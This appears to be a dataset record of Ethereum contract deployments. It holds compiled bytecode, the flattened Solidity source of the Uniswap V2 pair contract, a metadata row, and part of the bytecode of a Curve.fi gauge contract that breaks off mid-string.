fffffffffffffffffffffffffff80841660008181526001602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600080600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663017e7e586040518163ffffffff1660e01b815260040160206040518083038186803b15801561275757600080fd5b505afa15801561276b573d6000803e3d6000fd5b505050506040513d602081101561278157600080fd5b5051600b5473ffffffffffffffffffffffffffffffffffffffff821615801594509192509061286457801561285f5760006127d86112576dffffffffffffffffffffffffffff88811690881663ffffffff6121e816565b905060006127e583612878565b90508082111561285c576000612813612804848463ffffffff61226e16565b6000549063ffffffff6121e816565b905060006128388361282c86600563ffffffff6121e816565b9063ffffffff612abc16565b9050600081838161284557fe5b04905080156128585761285887826128ca565b5050505b50505b612870565b8015612870576000600b555b505092915050565b600060038211156128bb575080600160028204015b818110156128b5578091506002818285816128a457fe5b0401816128ad57fe5b04905061288d565b506128c5565b81156128c5575060015b919050565b6000546128dd908263ffffffff612abc16565b600090815573ffffffffffffffffffffffffffffffffffffffff8316815260016020526040902054612915908263ffffffff612abc16565b73ffffffffffffffffffffffffffffffffffffffff831660008181526001602090815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b6000818310612989578161298b565b825b9392505050565b73ffffffffffffffffffffffffffffffffffffffff82166000908152600160205260409020546129c8908263ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff831660009081526001602052604081209190915554612a02908263ffffffff61226e16565b600090815560408051838152905173ffffffffffffffffffffffffffffffffffffffff8516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef919081900360200190a35050565b6dffffffffffffffffffffffffffff166e0100000000000000000000000000000290565b60006dffffffffffffffffffffffffffff82167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff841681612ab457fe5b049392505050565b80820182811015610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f64732d6d6174682d6164642d6f766572666c6f77000000000000000000000000604482015290519081900360640190fdfe556e697377617056323a20494e53554646494349454e545f4f55545055545f414d4f554e54556e697377617056323a20494e53554646494349454e545f494e5055545f414d4f554e54556e697377617056323a20494e53554646494349454e545f4c4951554944495459556e697377617056323a20494e53554646494349454e545f4c49515549444954595f4255524e4544556e697377617056323a20494e53554646494349454e545f4c49515549444954595f4d494e544544a265627a7a723158207dca18479e58487606bf70c79e44d8dee62353c9ee6d01f9a9d70885b8765f2264736f6c63430005100032
// File: contracts/interfaces/IUniswapV2Pair.sol pragma solidity >=0.5.0; interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } // File: contracts/interfaces/IUniswapV2ERC20.sol pragma solidity >=0.5.0; interface IUniswapV2ERC20 { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; } // File: contracts/libraries/SafeMath.sol pragma solidity =0.5.16; // a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math) library SafeMath { function add(uint x, uint y) internal pure returns (uint z) { require((z = x + y) >= x, 'ds-math-add-overflow'); } function sub(uint x, uint y) internal pure returns (uint z) { require((z = x - y) <= x, 'ds-math-sub-underflow'); } function mul(uint x, uint y) internal pure returns (uint z) { require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow'); } } // File: contracts/UniswapV2ERC20.sol pragma solidity =0.5.16; contract UniswapV2ERC20 is IUniswapV2ERC20 { using SafeMath for uint; string public constant name = 'Uniswap V2'; string public constant symbol = 'UNI-V2'; uint8 public constant decimals = 18; uint public totalSupply; mapping(address => uint) public balanceOf; mapping(address => mapping(address => uint)) public allowance; bytes32 public DOMAIN_SEPARATOR; // keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9; mapping(address => uint) public nonces; event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); constructor() public { uint chainId; assembly { chainId := chainid } DOMAIN_SEPARATOR = keccak256( abi.encode( keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'), keccak256(bytes(name)), keccak256(bytes('1')), chainId, address(this) ) ); } function _mint(address to, uint value) internal { totalSupply = totalSupply.add(value); balanceOf[to] = balanceOf[to].add(value); emit Transfer(address(0), to, value); } function _burn(address from, uint value) internal { balanceOf[from] = balanceOf[from].sub(value); totalSupply = totalSupply.sub(value); emit Transfer(from, address(0), value); } function _approve(address owner, address spender, uint value) private { allowance[owner][spender] = value; emit Approval(owner, spender, value); } function _transfer(address from, address to, uint value) private { balanceOf[from] = balanceOf[from].sub(value); balanceOf[to] = balanceOf[to].add(value); emit Transfer(from, to, value); } function approve(address spender, uint value) external returns (bool) { _approve(msg.sender, spender, value); return true; } function transfer(address to, uint value) external returns (bool) { _transfer(msg.sender, to, value); return true; } function transferFrom(address from, address to, uint value) external returns (bool) { if (allowance[from][msg.sender] != uint(-1)) { allowance[from][msg.sender] = allowance[from][msg.sender].sub(value); } _transfer(from, to, value); return true; } function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external { require(deadline >= block.timestamp, 'UniswapV2: EXPIRED'); bytes32 digest = keccak256( abi.encodePacked( '\x19\x01', DOMAIN_SEPARATOR, keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline)) ) ); address recoveredAddress = ecrecover(digest, v, r, s); require(recoveredAddress != address(0) && recoveredAddress == owner, 'UniswapV2: INVALID_SIGNATURE'); _approve(owner, spender, value); } } // File: contracts/libraries/Math.sol pragma solidity =0.5.16; // a library for performing various math operations library Math { function min(uint x, uint y) internal pure returns (uint z) { z = x < y ? x : y; } // babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method) function sqrt(uint y) internal pure returns (uint z) { if (y > 3) { z = y; uint x = y / 2 + 1; while (x < z) { z = x; x = (y / x + x) / 2; } } else if (y != 0) { z = 1; } } } // File: contracts/libraries/UQ112x112.sol pragma solidity =0.5.16; // a library for handling binary fixed point numbers (https://en.wikipedia.org/wiki/Q_(number_format)) // range: [0, 2**112 - 1] // resolution: 1 / 2**112 library UQ112x112 { uint224 constant Q112 = 2**112; // encode a uint112 as a UQ112x112 function encode(uint112 y) internal pure returns (uint224 z) { z = uint224(y) * Q112; // never overflows } // divide a UQ112x112 by a uint112, returning a UQ112x112 function uqdiv(uint224 x, uint112 y) internal pure returns (uint224 z) { z = x / uint224(y); } } // File: contracts/interfaces/IERC20.sol pragma solidity >=0.5.0; interface IERC20 { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); } // File: contracts/interfaces/IUniswapV2Factory.sol pragma solidity >=0.5.0; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } // File: contracts/interfaces/IUniswapV2Callee.sol pragma solidity >=0.5.0; interface IUniswapV2Callee { function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external; } // File: contracts/UniswapV2Pair.sol pragma solidity =0.5.16; contract UniswapV2Pair is IUniswapV2Pair, UniswapV2ERC20 { using SafeMath for uint; using UQ112x112 for uint224; uint public constant MINIMUM_LIQUIDITY = 10**3; bytes4 private constant SELECTOR = bytes4(keccak256(bytes('transfer(address,uint256)'))); address public factory; address public token0; address public token1; uint112 private reserve0; // uses single storage slot, accessible via getReserves uint112 private reserve1; // uses single storage slot, accessible via getReserves uint32 private blockTimestampLast; // uses single storage slot, accessible via getReserves uint public price0CumulativeLast; uint public price1CumulativeLast; uint public kLast; // reserve0 * reserve1, as of immediately after the most recent liquidity event uint private unlocked = 1; modifier lock() { require(unlocked == 1, 'UniswapV2: LOCKED'); unlocked = 0; _; unlocked = 1; } function getReserves() public view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast) { _reserve0 = reserve0; _reserve1 = reserve1; _blockTimestampLast = blockTimestampLast; } function _safeTransfer(address token, address to, uint value) private { (bool success, bytes memory data) = token.call(abi.encodeWithSelector(SELECTOR, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'UniswapV2: TRANSFER_FAILED'); } event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); constructor() public { factory = msg.sender; } // called once by the factory at time of deployment function initialize(address _token0, address _token1) external { require(msg.sender == factory, 'UniswapV2: FORBIDDEN'); // sufficient check token0 = _token0; token1 = _token1; } // update reserves and, on the first call per block, price accumulators function _update(uint balance0, uint balance1, uint112 _reserve0, uint112 _reserve1) private { require(balance0 <= uint112(-1) && balance1 <= uint112(-1), 'UniswapV2: OVERFLOW'); uint32 blockTimestamp = uint32(block.timestamp % 2**32); uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired if (timeElapsed > 0 && _reserve0 != 0 && _reserve1 != 0) { // * never overflows, and + overflow is desired price0CumulativeLast += uint(UQ112x112.encode(_reserve1).uqdiv(_reserve0)) * timeElapsed; price1CumulativeLast += uint(UQ112x112.encode(_reserve0).uqdiv(_reserve1)) * timeElapsed; } reserve0 = uint112(balance0); reserve1 = uint112(balance1); blockTimestampLast = blockTimestamp; emit Sync(reserve0, reserve1); } // if fee is on, mint liquidity equivalent to 1/6th of the growth in sqrt(k) function _mintFee(uint112 _reserve0, uint112 _reserve1) private returns (bool feeOn) { address feeTo = IUniswapV2Factory(factory).feeTo(); feeOn = feeTo != address(0); uint _kLast = kLast; // gas savings if (feeOn) { if (_kLast != 0) { uint rootK = Math.sqrt(uint(_reserve0).mul(_reserve1)); uint rootKLast = Math.sqrt(_kLast); if (rootK > rootKLast) { uint numerator = totalSupply.mul(rootK.sub(rootKLast)); uint denominator = rootK.mul(5).add(rootKLast); uint liquidity = numerator / denominator; if (liquidity > 0) _mint(feeTo, liquidity); } } } else if (_kLast != 0) { kLast = 0; } } // this low-level function should be called from a contract which performs important safety checks function mint(address to) external lock returns (uint liquidity) { (uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings uint balance0 = IERC20(token0).balanceOf(address(this)); uint balance1 = IERC20(token1).balanceOf(address(this)); uint amount0 = balance0.sub(_reserve0); uint amount1 = balance1.sub(_reserve1); bool feeOn = _mintFee(_reserve0, _reserve1); uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee if (_totalSupply == 0) { liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY); _mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens } else { liquidity = Math.min(amount0.mul(_totalSupply) / _reserve0, amount1.mul(_totalSupply) / _reserve1); } require(liquidity > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_MINTED'); _mint(to, liquidity); _update(balance0, balance1, _reserve0, _reserve1); if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date emit Mint(msg.sender, amount0, amount1); } // this low-level function should be called from a contract which performs important safety checks function burn(address to) external lock returns (uint amount0, uint amount1) { (uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings address _token0 = token0; // gas savings address _token1 = token1; // gas savings uint balance0 = IERC20(_token0).balanceOf(address(this)); uint balance1 = IERC20(_token1).balanceOf(address(this)); uint liquidity = balanceOf[address(this)]; bool feeOn = _mintFee(_reserve0, _reserve1); uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee amount0 = liquidity.mul(balance0) / _totalSupply; // using balances ensures pro-rata distribution amount1 = liquidity.mul(balance1) / _totalSupply; // using balances ensures pro-rata distribution require(amount0 > 0 && amount1 > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_BURNED'); _burn(address(this), liquidity); _safeTransfer(_token0, to, amount0); _safeTransfer(_token1, to, amount1); balance0 = IERC20(_token0).balanceOf(address(this)); balance1 = IERC20(_token1).balanceOf(address(this)); _update(balance0, balance1, _reserve0, _reserve1); if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date emit Burn(msg.sender, amount0, amount1, to); } // this low-level function should be called from a contract which performs important safety checks function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external lock { require(amount0Out > 0 || amount1Out > 0, 'UniswapV2: INSUFFICIENT_OUTPUT_AMOUNT'); (uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings require(amount0Out < _reserve0 && amount1Out < _reserve1, 'UniswapV2: INSUFFICIENT_LIQUIDITY'); uint balance0; uint balance1; { // scope for _token{0,1}, avoids stack too deep errors address _token0 = token0; address _token1 = token1; require(to != _token0 && to != _token1, 'UniswapV2: INVALID_TO'); if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); // optimistically transfer tokens if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); // optimistically transfer tokens if (data.length > 0) IUniswapV2Callee(to).uniswapV2Call(msg.sender, amount0Out, amount1Out, data); balance0 = IERC20(_token0).balanceOf(address(this)); balance1 = IERC20(_token1).balanceOf(address(this)); } uint amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0; uint amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0; require(amount0In > 0 || amount1In > 0, 'UniswapV2: INSUFFICIENT_INPUT_AMOUNT'); { // scope for reserve{0,1}Adjusted, avoids stack too deep errors uint balance0Adjusted = balance0.mul(1000).sub(amount0In.mul(3)); uint balance1Adjusted = balance1.mul(1000).sub(amount1In.mul(3)); require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(1000**2), 'UniswapV2: K'); } _update(balance0, balance1, _reserve0, _reserve1); emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to); } // force balances to match reserves function skim(address to) external lock { address _token0 = token0; // gas savings address _token1 = token1; // gas savings _safeTransfer(_token0, to, IERC20(_token0).balanceOf(address(this)).sub(reserve0)); _safeTransfer(_token1, to, IERC20(_token1).balanceOf(address(this)).sub(reserve1)); } // force reserves to match balances function sync() external lock { _update(IERC20(token0).balanceOf(address(this)), IERC20(token1).balanceOf(address(this)), reserve0, reserve1); } }
1
19,493,248
a9a555ceaccfc90d570c08ad4ae9887735294a40aad8c4eed9fcdcf11aa530e6
920c93b1bc530e3e3ae06b74c7bc148bc1bedc4d09d76b2cc0b6e78b5c6645ef
994d5147c315b31f997d8d24b0f8ce7a9557ad31
6a8cbed756804b16e05e741edabd5cb544ae21bf
fd8dae8824a5c056a02a03226f23a8faa40be5c9
6129c551503461035a576020612cd95f395f518060a01c61035a57604052604051600d5533600b5532600c556040516395d89b4160a052606060a0600460bc845afa61004d573d5f5f3e3d5ffd5b60403d1061035a5760a05160a001602081511161035a5780516101205260208101516101405250610120905080516060526020810151608052505f6009610100527f43757276652e666920000000000000000000000000000000000000000000000061012052610100805160208201836101a00181518152505080830192505050606051816101a001608051815250808201915050600e610140527f204761756765204465706f73697400000000000000000000000000000000000061016052610140805160208201836101a001815181525050808301925050508061018052610180905060208151018060a0828460045afa505050602060a051015f81601f0160051c6003811161035a57801561017957905b8060051b60a001518160040155600101818118610161575b5050505f60605181610160016080518152508082019150506006610100527f2d67617567650000000000000000000000000000000000000000000000000000610120526101008051602082018361016001815181525050808301925050508061014052610140905060208151015f81601f0160051c6003811161035a57801561021557905b8060051b84015181600701556001018181186101fe575b505050504260235563b26b238e610100526020610100600461011c5f73d533a949740bb3306d119cc777fa900ba034cd525af1610254573d5f5f3e3d5ffd5b60203d1061035a576101005160d81b632c4e722e610140526020610140600461015c73d533a949740bb3306d119cc777fa900ba034cd525afa610299573d5f5f3e3d5ffd5b60203d1061035a576101405180820182811061035a5790509050600f5560a05160c0206129655260014303406129a55246612985527f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f6101205261296551610140527f71916ddf3efd1d13d14899519c9cd193fa3f9be07ea852717d2f225de1eb2466610160524661018052306101a0526129a5516101c05260c0610100526101008051602082012090506129c55261296561035e610000396129e5610000f35b5f80fd5f3560e01c6002603f821660011b6128e501601e395f51565b63bfa0b133811861003657346128e15760206129a560403960206040f35b63095ea7b38118611c2d576044361034176128e1576004358060a01c6128e1576040526024356003336020525f5260405f20806040516020525f5260405f20905055604051337f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560243560605260206060a3600160605260206060f3611c2d565b6370a0823181186100f2576024361034176128e1576004358060a01c6128e15760405260016040516020525f5260405f205460605260206060f35b6301ddabf18118611c2d576024361034176128e1576004358060a01c6128e15760405260126040516020525f5260405f205460605260206060f3611c2d565b6318160ddd811861014d57346128e15760025460405260206040f35b6323b872dd8118611c2d576064361034176128e1576004358060a01c6128e1576103a0526024358060a01c6128e1576103c0525f546002146128e15760025f5560036103a0516020525f5260405f2080336020525f5260405f209050546103e0527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6103e0511461020b576103e0516044358082038281116128e1579050905060036103a0516020525f5260405f2080336020525f5260405f209050555b6103a0516102e0526103c051610300526044356103205261022a612779565b600161040052602061040060035f55f3611c2d565b63dd62ed3e8118610297576044361034176128e1576004358060a01c6128e1576040526024358060a01c6128e15760605260036040516020525f5260405f20806060516020525f5260405f2090505460805260206080f35b6384e9bd7e8118611c2d576024361034176128e1576004358060a01c6128e1576102e0525f61030052610f3a56611c2d565b6306fdde03811861034457346128e157602080604052806040016020600454015f81601f0160051c600381116128e157801561031857905b80600401548160051b850152600101818118610301575b5050508051806020830101601f825f03163682375050601f19601f825160200101169050810190506040f35b63331345838118611c2d576024361034176128e1576004358060a01c6128e1576102805261028051604052610377611cc4565b6019610280516020525f5260405f2054638b752bb06102a052610280516102c052306102e05260206102a060446102bc73d061d61a4d941c39e5453435b6345dc261c2fce05afa6103ca573d5f5f3e3d5ffd5b60203d106128e1576102a0518082038281116128e15790509050610300526020610300f3611c2d565b6395d89b418118611c2d57346128e157602080604052806040016020600754015f81601f0160051c600381116128e157801561044257905b80600701548160051b85015260010181811861042b575b5050508051806020830101601f825f03163682375050601f19601f825160200101169050810190506040f3611c2d565b637ecebe0081146003361116156104b3576024361034176128e1576004358060a01c6128e157604052600a6040516020525f5260405f205460605260206060f35b639c868ac08118611c2d57346128e157600e5460405260206040f3611c2d565b63c45a015581186104ef57346128e157600b5460405260206040f35b633644e5158118611c2d57346128e157602061050c610120611c31565b610120f3611c2d565b63481c6a75811861053157346128e157600c5460405260206040f35b6396c551758118611c2d576024361034176128e1576004358060a01c6128e157610280526018610280516020525f5260405f20546102a05263da020a1861032052610280516103405263010ae7576102e052610280516103005260206102e060246102fc735f3b5dfeb7b28cdbd7faba78963ee202a494e2a25afa6105b8573d5f5f3e3d5ffd5b60203d106128e1576102e051610360526020610320604461033c735f3b5dfeb7b28cdbd7faba78963ee202a494e2a25afa6105f5573d5f5f3e3d5ffd5b60203d106128e157610320516102c0526001610280516020525f5260405f20546102e0526370a082316103005261028051610320526020610300602461031c735f3b5dfeb7b28cdbd7faba78963ee202a494e2a25afa610657573d5f5f3e3d5ffd5b60203d106128e1576103005161066e576001610678565b6102a0516102c051115b156128e1576102e051602881028160288204186128e15790506064810490506015610280516020525f5260405f205411156128e157610280516040526106bc611cc4565b610280516040526001610280516020525f5260405f20546060526002546080526106e46125c3565b00611c2d565b6382c630668118611c2d57346128e157600d5460405260206040f3611c2d565b63963c94b98118611c2d57346128e15760105460405260206040f3611c2d565b6348e9c65e8118611c2d576024361034176128e1576004358060a01c6128e15760405260116040516020525f5260405f2080546060526001810154608052600281015460a052600381015460c052600481015460e0526005810154610100525060c06060f3611c2d565b63f05cc0588118611c2d576044361034176128e1576004358060a01c6128e1576040526024358060a01c6128e15760605260136040516020525f5260405f20806060516020525f5260405f2090505460805260206080f3611c2d565b6313ecb1ca8118611c2d576024361034176128e1576004358060a01c6128e15760405260156040516020525f5260405f205460605260206060f3611c2d565b6317e280898118611c2d57346128e15760165460405260206040f3611c2d565b63de263bfa8118611c2d576024361034176128e1576004358060a01c6128e15760405260176040516020525f5260405f205460605260206060f3611c2d565b639bd324f281186108c9576024361034176128e1576004358060a01c6128e15760405260186040516020525f5260405f205460605260206060f35b63e6f1daf28118611c2d57346128e157336102e0525f61030052610f3a56611c2d565b63094007078118610927576024361034176128e1576004358060a01c6128e15760405260196040516020525f5260405f205460605260206060f35b6383df67478118611c2d576064361034176128e1576024358060a01c6128e1576102e0526044358060011c6128e157610300525b5f546002146128e15760025f556102e051156128e1576102e051604052610980611cc4565b60043515610af2576010541515610320526002546103405261032051156109c2576102e05160405261034051606052610300516080525f60a0526109c26121f9565b610340516004358082018281106128e157905090506103405260016102e0516020525f5260405f20546004358082018281106128e15790509050610360526103605160016102e0516020525f5260405f2055610340516002556102e0516040526103605160605261034051608052610a386125c3565b600d546323b872dd61038052336103a052306103c0526004356103e0526020610380606461039c5f855af1610a6f573d5f5f3e3d5ffd5b60203d106128e157610380518060011c6128e1576104005261040050506102e0517fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c600435610380526020610380a26102e0515f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600435610380526020610380a35b60035f5500611c2d565b63ef78d4fd8118611c2d57346128e157601a5460405260206040f3611c2d565b6354c49fe98118610b49576024361034176128e157600435600781116128e157601b015460405260206040f35b63be5d1be98118611c2d57346128e157600f5460d81c60405260206040f3611c2d565b637598108c8118610ba5576024361034176128e1576004356c01431e0fae6d7217ca9fffffff81116128e1576023015460405260206040f35b63fec8ee0c8118611c2d576024361034176128e1576004356c01431e0fae6d7217ca9fffffff81116128e1576c01431e0fae6d7217caa0000023015460405260206040f3611c2d565b63b6b55f258118610c12576024361034176128e157336102e0525f6103005261095b565b636e553f658118611c2d576044361034176128e1576024358060a01c6128e1576102e0525f6103005261095b56611c2d565b632e1a7d4d8118610c63576024361034176128e1575f6102e052610d88565b63e8de0d4d8118611c2d576044361034176128e1576004358060a01c6128e1576040526024358060a01c6128e15760605233600c548118610ca5576001610ce8565b600b5463f851a44060e052602060e0600460fc845afa610cc7573d5f5f3e3d5ffd5b60203d106128e15760e0518060a01c6128e157610120526101209050518118155b9050156128e157606051156128e1576010546080526007608051116128e15760116040516020525f5260405f20600181019050546128e15760605160116040516020525f5260405f2060018101905055604051608051600781116128e157601b0155608051600181018181106128e157905060105500611c2d565b6338d074368118611c2d576044361034176128e1576024358060011c6128e1576102e0525b5f546002146128e15760025f5533604052610da1611cc4565b60043515610e9d57601054151561030052600254610320526103005115610de05733604052610320516060526102e0516080525f60a052610de06121f9565b610320516004358082038281116128e15790509050610320526001336020525f5260405f20546004358082038281116128e1579050905061034052610340516001336020525f5260405f205561032051600255336040526103405160605261032051608052610e4d6125c3565b600d5463a9059cbb6103605233610380526004356103a0526020610360604461037c5f855af1610e7f573d5f5f3e3d5ffd5b60203d106128e157610360518060011c6128e1576103c0526103c050505b337f884edad9ce6fa2440d8a54cc123490eb96d2768479d49ff9c7366125a9424364600435610300526020610300a25f337fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600435610300526020610300a360035f5500611c2d565b639faceb1b8118611c2d576044361034176128e1576004358060a01c6128e1576102e0526024358060a01c6128e157610300525b5f546002146128e15760025f556103005115610f5b57336102e051186128e1575b6102e05160405260025460605260016080526103005160a052610f7c6121f9565b60035f5500611c2d565b63a9059cbb8118611c2d576044361034176128e1576004358060a01c6128e1576103a0525f546002146128e15760025f55336102e0526103a0516103005260243561032052610fd3612779565b60016103c05260206103c060035f55f3611c2d565b63d505accf8118611c2d5760e4361034176128e1576004358060a01c6128e157610120526024358060a01c6128e157610140526084358060081c6128e1576101605261012051156128e15760643542116128e157600a610120516020525f5260405f2054610180525f60026101c0527f19010000000000000000000000000000000000000000000000000000000000006101e0526101c08051602082018361032001815181525050808301925050506110a2610200611c31565b610200518161032001526020810190507f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c961024052610120516102605261014051610280526044356102a052610180516102c0526064356102e05260c061022052610220805160208201209050816103200152602081019050806103005261030090508051602082012090506101a052610120515f610240526101a0516101c052610160516101e052604060a461020037602061024060806101c060015afa5061024051186128e1576044356003610120516020525f5260405f2080610140516020525f5260405f2090505560016101805101600a610120516020525f5260405f205561014051610120517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9256044356101c05260206101c0a360016101c05260206101c0f3611c2d565b63395093518118611c2d576044361034176128e1576004358060a01c6128e1576040526003336020525f5260405f20806040516020525f5260405f209050546024358082018281106128e157905090506060526060516003336020525f5260405f20806040516020525f5260405f20905055604051337f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560605160805260206080a3600160805260206080f3611c2d565b63a457c2d7811861134a576044361034176128e1576004358060a01c6128e1576040526003336020525f5260405f20806040516020525f5260405f209050546024358082038281116128e157905090506060526060516003336020525f5260405f20806040516020525f5260405f20905055604051337f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560605160805260206080a3600160805260206080f35b6390b229978118611c2d576024361034176128e1576004358060011c6128e157604052600b5463f851a440606052602060606004607c845afa61138f573d5f5f3e3d5ffd5b60203d106128e1576060518060a01c6128e15760a05260a090505133186128e157604051600e5500611c2d565b634b8200938118611c2d576024361034176128e1576004358060a01c6128e15761028052336102805181186113f257600161140b565b73d061d61a4d941c39e5453435b6345dc261c2fce08118155b9050156128e15761028051604052611421611cc4565b610280516040526001610280516020525f5260405f20546060526002546080526114496125c3565b60016102a05260206102a0f3611c2d565b63bdf981168118611c2d576024361034176128e1576004358060a01c6128e1576040526040516012336020525f5260405f205500611c2d565b63aace1d488118611c2d576024361034176128e1576004358060a01c6128e15760405233600c5481186114c757600161150a565b600b5463f851a44060c052602060c0600460dc845afa6114e9573d5f5f3e3d5ffd5b60203d106128e15760c0518060a01c6128e157610100526101009050518118155b9050156128e157604051600c557fe83c80a0349150991cb09b4c940149ac4c37cb03673b6c0c669b4da27865c28b60405160605260206060a100611c2d565b6393f7aa67811861156b576044361034176128e15762093a80610300526115a7565b63313ce5678118611c2d57346128e157601260405260206040f3611c2d565b6333b50aed8118611826576064361034176128e157604435610300525b6004358060a01c6128e1576102e0525f546002146128e15760025f5560116102e0516020525f5260405f206001810190505433186128e1575f6040526002546060526040366080376115f76121f9565b6102e0516370a082316103405230610360526020610340602461035c845afa611622573d5f5f3e3d5ffd5b60203d106128e157610340905051610320526102e0516323b872dd61034052336103605230610380526024356103a0526020610340606461035c5f855af161166c573d5f5f3e3d5ffd5b3d61168357803b156128e15760016103c05261169c565b60203d106128e157610340518060011c6128e1576103c0525b6103c0905051156128e1576102e0516370a082316103405230610360526020610340602461035c845afa6116d2573d5f5f3e3d5ffd5b60203d106128e157610340905051610320518082038281116128e157905090506103205260116102e0516020525f5260405f206002810190505